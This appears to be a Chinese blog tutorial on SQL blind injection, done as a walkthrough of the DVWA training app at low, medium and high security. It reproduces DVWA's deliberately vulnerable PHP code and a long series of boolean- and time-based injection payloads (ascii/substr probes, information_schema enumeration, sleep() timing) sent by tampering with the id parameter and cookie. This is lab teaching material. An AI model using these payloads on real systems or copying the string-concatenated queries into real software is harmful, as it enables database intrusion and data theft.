盲注就是在SQL注入过程中,服务器并没有给客户端返回信息。通过盲注可以对程序对应的数据存储区进行对应的探测。盲注分类可以分为基于时间和基于布尔以及基于报错的盲注。
可以参考:
https://www.jianshu.com/p/757626cec742
SQL盲注-测试思路:
l 对于基于布尔的盲注,
理解:通过and、or等逻辑运算符让整个SQL语句的执行结果为true或false,观察true或false对应的服务器返回的信息,根据该信息来判断执行情况
网络:可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
l 对于基于时间的盲注:
理解:基于布尔是使用逻辑运算符,那基于时间就是使用时间函数,看看在执行SQL语句的时候是否会运行这些时间函数,而这些时间函数的执行,往往通过页面的显示结果可以看出
网络:通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
l 对于基于报错的盲注
通过floor,updatexml,extractvalue等12种报错注入和万能语句;
参考:
https://www.jianshu.com/p/bc35f8dd4f7c
网络:搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。
源码分析一下:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors //最后的判断只有两种 num大于0输出User ID exists in the database num小于等于0 输出User ID is MISSING from the database if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
low级别的代码堵参数id没有做任何检查,过滤,存在明显的sql注入漏洞,同时SQL语句查询返回的结果只有两种
User ID exists in the database与User ID is MISSING from the database。
因此这里是SQL盲注漏洞。
手工盲注的步骤,首先判断是否存在注入,注入是字符型还是数字型;接下来依次猜解数据库名、表名、字段名、数据。
输入1,显示存在;输入1’and 1=1#,显示存在;输入1’ and 1=2 #,显示不存在;说明存在字符型的sql盲注。
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
数据库名称的属性:字符长度、字符组成的元素(字母/数字/下划线/…)&元素的位置(首位/第2位/…/末位);
猜解数据库名的长度,然后采用二分法猜解数据库名;
猜解长度:
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:
猜解数据库名:
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
不断重复猜出数据库名为dvwa。
猜解数据库中的表名,首先我们先猜解表的数量;
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
说明有两个表。
MYsql数据库结构:
挨个猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在;
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在;
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在;
所以第一个表名长度为9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在;
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在;
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在;
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在;
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在;
所以第一个表的第一个字符为g,重复上述步骤即可猜解出两个表名(gusetbook、users)。
猜解表中的字段名,首先猜解表中的字段数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在;
…
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在;
说明users表中有8个字段。
然后挨个猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在;
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在;
所以users表中第一个字段为7个字符长度,采用二分法即可猜解出所有字段名。
猜解数据:
同样采用二分法,还可以采用基于时间的盲注。
源码分析一下:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; //对特殊符号 \x00,\n,\r,\,’,”,\x1a进行转义 $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,’,”,\x1a进行转义,控制用户不能通过文本框输入只能通过前端的下拉菜单选择。
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。
这里通过brup抓包修改参数id进行查询,首先是基于布尔的盲注:
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。
然后是基于时间的盲注:
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #。
源码分析一下:
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database //limit限制查询只能为1条 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { //返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
代码分析,可以看到,High级别的代码利用cookie传递参数id(cookie注入),当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是可以通过#将其注释掉。由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,只演示基于布尔的盲注:
抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。